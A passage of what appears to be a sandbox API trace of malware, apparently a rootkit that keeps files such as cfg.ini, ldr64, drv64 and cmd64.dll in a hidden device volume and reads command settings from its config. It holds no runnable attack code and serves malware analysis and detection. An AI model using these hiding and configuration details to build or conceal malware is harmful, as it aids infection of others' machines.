Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.815] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.815] IdePortDispatch () returned 0x103 [0124.815] KeWaitForMutexObject () returned 0x0 [0124.815] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.815] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.815] IdePortDispatch () returned 0x103 [0124.815] KeWaitForMutexObject () returned 0x0 [0124.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.815] KeLeaveCriticalRegion () [0124.815] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.816] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.816] KeEnterCriticalRegion () [0124.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.816] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.816] KeLeaveCriticalRegion () [0124.816] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.816] KeEnterCriticalRegion () [0124.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.816] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.816] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4d80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.816] KeLeaveCriticalRegion () [0124.816] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.816] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.816] KeEnterCriticalRegion () [0124.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.816] ExFreePoolWithTag (P=0xfffffa8003bf1490, Tag=0x0) [0124.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.816] KeLeaveCriticalRegion () [0124.816] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.816] ReleaseMutex (hMutex=0xf0) returned 1 [0124.816] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.816] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.816] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.816] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.816] KeEnterCriticalRegion () [0124.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.816] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.816] IdePortDispatch () returned 0x103 [0124.817] KeWaitForMutexObject () returned 0x0 [0124.817] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.817] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.817] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.817] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.817] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.817] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.817] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.817] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.817] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.817] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.817] KeLeaveCriticalRegion () [0124.817] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.817] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.817] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.817] KeEnterCriticalRegion () [0124.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.817] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.817] IdePortDispatch () returned 0x103 [0124.817] KeWaitForMutexObject () returned 0x0 [0124.817] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.817] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.817] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.817] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.817] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.817] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.817] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.817] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.817] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.817] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.818] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.818] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.818] KeLeaveCriticalRegion () [0124.818] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.818] ReleaseMutex (hMutex=0x100) returned 1 [0124.818] Sleep (dwMilliseconds=0x2bf20) [0124.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d99d290, dwHighDateTime=0x1d24fa4)) [0124.825] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.825] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.825] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.825] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.826] KeEnterCriticalRegion () [0124.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.826] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.826] IdePortDispatch () returned 0x103 [0124.826] KeWaitForMutexObject () returned 0x0 [0124.826] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.826] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.826] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.826] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.826] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.826] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0124.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.826] KeLeaveCriticalRegion () [0124.826] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.826] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.826] KeEnterCriticalRegion () [0124.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.826] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.826] KeLeaveCriticalRegion () [0124.826] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.826] KeEnterCriticalRegion () [0124.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.826] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.826] IdePortDispatch () returned 0x103 [0124.827] KeWaitForMutexObject () returned 0x0 [0124.827] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.827] KeLeaveCriticalRegion () [0124.827] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.827] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.827] KeEnterCriticalRegion () [0124.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.827] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c9000 [0124.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.827] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.827] IdePortDispatch () returned 0x103 [0124.827] KeWaitForMutexObject () returned 0x0 [0124.827] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.827] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.827] IdePortDispatch () returned 0x103 [0124.827] KeWaitForMutexObject () returned 0x0 [0124.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.827] KeLeaveCriticalRegion () [0124.827] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.828] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.828] KeEnterCriticalRegion () [0124.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.828] KeLeaveCriticalRegion () [0124.828] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.828] KeEnterCriticalRegion () [0124.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.828] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.828] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4d80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.828] KeLeaveCriticalRegion () [0124.828] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.828] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.828] KeEnterCriticalRegion () [0124.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.828] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0124.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.828] KeLeaveCriticalRegion () [0124.828] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.828] ReleaseMutex (hMutex=0xf0) returned 1 [0124.828] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.828] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.828] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.828] KeEnterCriticalRegion () [0124.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.829] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.829] IdePortDispatch () returned 0x103 [0124.829] KeWaitForMutexObject () returned 0x0 [0124.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.829] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.829] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.829] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.829] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.829] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ea0 [0124.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.829] KeLeaveCriticalRegion () [0124.829] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.829] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.829] KeEnterCriticalRegion () [0124.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.829] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.829] KeLeaveCriticalRegion () [0124.829] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.829] KeEnterCriticalRegion () [0124.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.829] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.829] IdePortDispatch () returned 0x103 [0124.829] KeWaitForMutexObject () returned 0x0 [0124.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.829] KeLeaveCriticalRegion () [0124.830] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.830] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.830] KeEnterCriticalRegion () [0124.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.830] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ca000 [0124.830] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.830] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.830] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.830] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.830] IdePortDispatch () returned 0x103 [0124.830] KeWaitForMutexObject () returned 0x0 [0124.830] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.830] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.830] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.830] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.830] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.830] IdePortDispatch () returned 0x103 [0124.830] KeWaitForMutexObject () returned 0x0 [0124.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.830] KeLeaveCriticalRegion () [0124.830] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.831] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.831] KeEnterCriticalRegion () [0124.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.831] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.831] KeLeaveCriticalRegion () [0124.831] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.831] KeEnterCriticalRegion () [0124.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.831] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.831] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.831] KeLeaveCriticalRegion () [0124.831] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.831] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.831] KeEnterCriticalRegion () [0124.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.831] ExFreePoolWithTag (P=0xfffffa8003bf3ea0, Tag=0x0) [0124.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.831] KeLeaveCriticalRegion () [0124.831] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.831] ReleaseMutex (hMutex=0xf0) returned 1 [0124.831] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.831] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.831] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.831] KeEnterCriticalRegion () [0124.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.831] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.831] IdePortDispatch () returned 0x103 [0124.832] KeWaitForMutexObject () returned 0x0 [0124.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.832] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.832] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.832] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.832] FsRtlInitializeFileLock 